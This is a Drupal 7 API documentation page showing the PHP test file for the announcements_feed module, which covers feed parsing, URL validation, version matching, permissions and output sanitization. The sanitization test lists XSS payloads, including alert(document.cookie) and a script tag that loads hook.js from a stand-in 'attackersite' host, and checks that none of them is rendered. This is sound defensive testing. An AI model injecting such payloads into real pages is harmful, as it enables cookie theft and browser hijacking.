announce_feed_test.test

Contains tests for the announcements_feed module.

File

modules/announcements_feed/tests/announce_feed_test.test

View source
<?php


/**
 * @file
 * Contains tests for the announcements_feed module.
 */

/**
 * Tests for validating JSON feed with different JSON URLs.
 */
class AnnounceFeedTestValidateJsonFeed extends DrupalWebTestCase {
    
    /**
     * A user with permission to access toolbar and access announcements.
     *
     * @var object
     */
    protected $user;
    
    /**
     * A test endpoint which contains the community feeds.
     *
     * @var string
     */
    protected $responseJson;
    
    /**
     * A test endpoint which include the new/updated feeds.
     *
     * @var string
     */
    protected $updatedJson;
    
    /**
     * A test endpoint which displays an empty JSON.
     *
     * @var string
     */
    protected $emptyJson;
    
    /**
     * A test endpoint that will have some feeds removed.
     *
     * @var string
     */
    protected $removed;
    public static function getInfo() {
        return array(
            'name' => 'JSON feeds validation / processing',
            'description' => 'Testing how the code handles multiple types of JSON feeds.',
            'group' => 'Announcements',
        );
    }
    
    /**
     * {@inheritdoc}
     */
    public function setUp() {
        global $base_url;
        module_load_include('inc', 'announce_feed_test', 'announce_feed_test');
        parent::setUp('user', 'toolbar', 'announcements_feed', 'announce_feed_test');
        $this->user = $this->drupalCreateUser(array(
            'access toolbar',
            'access announcements',
        ));
        $this->drupalLogin($this->user);
        $this->responseJson = $base_url . '/announcements-feed-json/community-feeds';
        $this->updatedJson = $base_url . '/announcements-feed-json/updated';
        $this->emptyJson = $base_url . '/announcements-feed-json/empty';
        $this->removed = $base_url . '/announcements-feed-json/removed';
        variable_set('announcements_feed_json_url', $this->responseJson);
    }
    
    /**
     * Testing the feed with Updated and Removed JSON feeds.
     */
    public function testAnnounceFeedUpdatedAndRemoved() {
        $this->drupalLogin($this->user);
        $this->drupalGet('');
        $this->clickLink('Announcements');
        variable_set('announcements_feed_json_url', $this->updatedJson);
        cache_clear_all('announcements_feed', 'cache', TRUE);
        $this->drupalGet('admin/announcements_feed');
        $this->assertText('Only 9 - Drupal 106 is available and this feed is Updated');
        $this->drupalLogout();
        // Testing the removed JSON feed.
        $this->drupalLogin($this->user);
        $this->drupalGet('');
        $this->clickLink('Announcements');
        variable_set('announcements_feed_json_url', $this->removed);
        cache_clear_all('announcements_feed', 'cache', TRUE);
        $this->drupalGet('admin/announcements_feed');
        $this->assertNoText('Only 9 - Drupal 106 is available and this feed is Updated');
        $this->drupalLogout();
    }
    
    /**
     * Check the status of the feed with an empty JSON feed.
     */
    public function testAnnounceFeedEmpty() {
        // Change the feed URL to empty JSON file.
        variable_set('announcements_feed_json_url', $this->emptyJson);
        cache_clear_all('announcements_feed', 'cache', TRUE);
        $this->drupalLogin($this->user);
        // Only no announcements available message should show.
        $this->clickLink('Announcements');
        $this->assertText('No announcements available');
    }

}

/**
 * Unit test for validate URL functions.
 */
class AnnounceFeedTestValidateUrl extends DrupalUnitTestCase {
    public static function getInfo() {
        return array(
            'name' => 'JSON feed URLs validation',
            'description' => 'Unit test to check the validate URL functions.',
            'group' => 'Announcements',
        );
    }
    
    /**
     * {@inheritdoc}
     */
    public function setUp() {
        parent::setUp();
        module_load_include('inc', 'announcements_feed', 'announcements_feed');
    }
    
    /**
     * Test for validating the announcements_feed_validate_url function.
     */
    public function testValidateUrl() {
        $urls = array(
            array(
                'https://www.drupal.org',
                TRUE,
            ),
            array(
                'https://drupal.org',
                TRUE,
            ),
            array(
                'https://api.drupal.org',
                TRUE,
            ),
            array(
                'https://a.drupal.org',
                TRUE,
            ),
            array(
                'https://123.drupal.org',
                TRUE,
            ),
            array(
                'https://api-new.drupal.org',
                TRUE,
            ),
            array(
                'https://api_new.drupal.org',
                TRUE,
            ),
            array(
                'https://api-.drupal.org',
                TRUE,
            ),
            array(
                'https://www.example.org',
                FALSE,
            ),
            array(
                'https://example.org',
                FALSE,
            ),
            array(
                'https://api.example.org/project/announce',
                FALSE,
            ),
            array(
                'https://-api.drupal.org',
                FALSE,
            ),
            array(
                'https://a.example.org/project/announce',
                FALSE,
            ),
            array(
                'https://test.drupaal.com',
                FALSE,
            ),
            array(
                'https://api.drupal.org.example.com',
                FALSE,
            ),
            array(
                'https://example.org/drupal.org',
                FALSE,
            ),
        );
        foreach ($urls as $url) {
            $result = announcements_feed_validate_url($url[0]);
            $this->assertEqual($url[1], $result, 'Returned ' . ($url[1] ? 'TRUE' : 'FALSE'));
        }
    }

}

/**
 * Unit test for version compatibility functions.
 */
class AnnounceFeedTestRelevantVersion extends DrupalUnitTestCase {
    public static function getInfo() {
        return array(
            'name' => 'Version-specific logic validation',
            'description' => 'Unit test to check the version-specific logic.',
            'group' => 'Announcements',
        );
    }
    
    /**
     * {@inheritdoc}
     */
    public function setUp() {
        parent::setUp();
        module_load_include('inc', 'announcements_feed', 'announcements_feed');
    }
    
    /**
     * Test for validating the announcements_feed_is_relevant_item function.
     */
    public function testIsRelevantItem() {
        $version_strings = array(
            array(
                '^7',
                TRUE,
            ),
            // TRUE only if Drupal version is exactly 7.0.
array(
                '=7.0',
                FALSE,
            ),
            array(
                '>=7',
                TRUE,
            ),
            array(
                '^7 || ^8 || ^9',
                TRUE,
            ),
            array(
                '>=7.52',
                TRUE,
            ),
            array(
                '^7.1 || ^8 || ^9',
                TRUE,
            ),
            // TRUE only if Drupal version is exactly 7.9999.
array(
                '=7.9999',
                FALSE,
            ),
            array(
                '^8 || ^9',
                FALSE,
            ),
            array(
                '>8',
                FALSE,
            ),
            array(
                '>=8.1',
                FALSE,
            ),
            array(
                '^8 || ^9 || ^10',
                FALSE,
            ),
        );
        foreach ($version_strings as $strings) {
            $result = announcements_feed_is_relevant_item($strings[0]);
            $this->assertEqual($strings[1], $result, 'Returned ' . ($strings[1] ? 'TRUE' : 'FALSE'));
        }
    }

}

/**
 * Test the Announcements module permissions.
 */
class AnnounceFeedTestValidatePermissions extends DrupalWebTestCase {
    public static function getInfo() {
        return array(
            'name' => 'Permissions validation',
            'description' => 'Tests the module permissions.',
            'group' => 'Announcements',
        );
    }
    
    /**
     * {@inheritdoc}
     */
    public function setUp() {
        global $base_url;
        module_load_include('inc', 'announce_feed_test', 'announce_feed_test');
        parent::setUp('user', 'toolbar', 'announcements_feed', 'announce_feed_test');
        $response_json = $base_url . '/announcements-feed-json/community-feeds';
        variable_set('announcements_feed_json_url', $response_json);
    }
    
    /**
     * Testing the announcements page with access announcements permission.
     */
    public function testAnnounceWithPermission() {
        // Create a user with proper permission.
        $account = $this->drupalCreateUser(array(
            'access toolbar',
            'access announcements',
        ));
        $this->drupalLogin($account);
        $this->drupalGet('');
        $this->drupalGet('admin/announcements_feed');
        $this->assertText('Announcements');
        $this->drupalLogout();
    }
    
    /**
     * Testing the announcements page without access announcements permission.
     */
    public function testAnnounceWithoutPermission() {
        $account = $this->drupalCreateUser(array(
            'access toolbar',
        ));
        $this->drupalLogin($account);
        $this->drupalGet('admin/announcements_feed');
        $this->assertResponse(403);
    }

}

/**
 * Tests the announcements feed with invalid JSON URLs.
 */
class AnnounceFeedTestInvalidJsonTestCase extends DrupalWebTestCase {
    
    /**
     * A user with permission to access toolbar and access announcements.
     *
     * @var object
     */
    protected $user;
    
    /**
     * A test endpoint which contains the community feeds.
     *
     * @var string
     */
    protected $responseJson;
    
    /**
     * A test endpoint which does not exist.
     *
     * @var string
     */
    protected $unknownJson;
    
    /**
     * A test endpoint which returns invalid JSON.
     *
     * @var string
     */
    protected $invalidJson;
    
    /**
     * A test endpoint that will have some feeds removed.
     *
     * @var string
     */
    protected $removed;
    public static function getInfo() {
        return array(
            'name' => 'Invalid / unknown JSON feed URL',
            'description' => 'Testing announcements feed with invalid JSON or non-existing JSON URL.',
            'group' => 'Announcements',
        );
    }
    
    /**
     * {@inheritdoc}
     */
    public function setUp() {
        global $base_url;
        module_load_include('inc', 'announce_feed_test', 'announce_feed_test');
        parent::setUp('user', 'toolbar', 'announcements_feed', 'announce_feed_test');
        $this->user = $this->drupalCreateUser(array(
            'access toolbar',
            'access announcements',
        ));
        $this->drupalLogin($this->user);
        $this->responseJson = $base_url . '/announcements-feed-json/community-feeds';
        $this->unknownJson = $base_url . '/announcements-feed-json/unknown';
        $this->invalidJson = $base_url . '/announcements-feed-json/invalid-feeds';
        variable_set('announcements_feed_json_url', $this->responseJson);
    }
    
    /**
     * Test the announcements feed with invalid JSON or non-existing JSON URL.
     */
    public function testInvalidFeedResponse() {
        // Test when the JSON URL is not found.
        $this->drupalLogin($this->user);
        $this->drupalGet('');
        $this->clickLink('Announcements');
        variable_set('announcements_feed_json_url', $this->unknownJson);
        cache_clear_all('announcements_feed', 'cache', TRUE);
        $this->drupalGet('admin/announcements_feed');
        $this->assertText('An error occurred while parsing the announcements feed, check the logs for more information.');
        // Test when the JSON feed is invalid.
        $this->drupalLogout();
        $this->drupalLogin($this->user);
        $this->drupalGet('');
        $this->clickLink('Announcements');
        variable_set('announcements_feed_json_url', $this->invalidJson);
        cache_clear_all('announcements_feed', 'cache', TRUE);
        $this->drupalGet('admin/announcements_feed');
        $this->assertText('An error occurred while parsing the announcements feed, check the logs for more information.');
        $this->drupalLogout();
    }

}

/**
 * Tests the announcements feed with malicious content.
 */
class AnnounceFeedTestSanitizationTestCase extends DrupalWebTestCase {
    
    /**
     * A user with permission to access toolbar and access announcements.
     *
     * @var object
     */
    protected $user;
    
    /**
     * A test endpoint which contains the malicious content.
     *
     * @var string
     */
    protected $hackedJson;
    public static function getInfo() {
        return array(
            'name' => 'Hacked JSON feed URL',
            'description' => 'Testing announcements feed that contains malicious content.',
            'group' => 'Announcements',
        );
    }
    
    /**
     * {@inheritdoc}
     */
    public function setUp() {
        global $base_url;
        module_load_include('inc', 'announce_feed_test', 'announce_feed_test');
        parent::setUp('user', 'toolbar', 'announcements_feed', 'announce_feed_test');
        $this->user = $this->drupalCreateUser(array(
            'access toolbar',
            'access announcements',
        ));
        $this->drupalLogin($this->user);
        $this->hackedJson = $base_url . '/announcements-feed-json/hacked';
        variable_set('announcements_feed_json_url', $this->hackedJson);
    }
    
    /**
     * Test the announcements feed with malicious content.
     */
    public function testSanitizedFeedResponse() {
        $this->drupalLogin($this->user);
        $this->drupalGet('');
        $this->clickLink('Announcements');
        $this->drupalGet('admin/announcements_feed');
        $this->assertNoRaw("<script>alert('drupal')</script>");
        $this->assertNoRaw("onerror='alert(123)'");
        $this->assertNoRaw('alert(document.cookie)');
        $this->assertNoRaw('<script src=http://attackersite/hook.js></script>');
        $this->drupalLogout();
    }

}

Classes

Title Deprecated Summary
AnnounceFeedTestInvalidJsonTestCase Tests the announcements feed with invalid JSON URLs.
AnnounceFeedTestRelevantVersion Unit test for version compatibility functions.
AnnounceFeedTestSanitizationTestCase Tests the announcements feed with malicious content.
AnnounceFeedTestValidateJsonFeed Tests for validating JSON feed with different JSON URLs.
AnnounceFeedTestValidatePermissions Test the Announcements module permissions.
AnnounceFeedTestValidateUrl Unit test for validate URL functions.

Buggy or inaccurate documentation? Please file an issue. Need support? Need help programming? Connect with the Drupal community.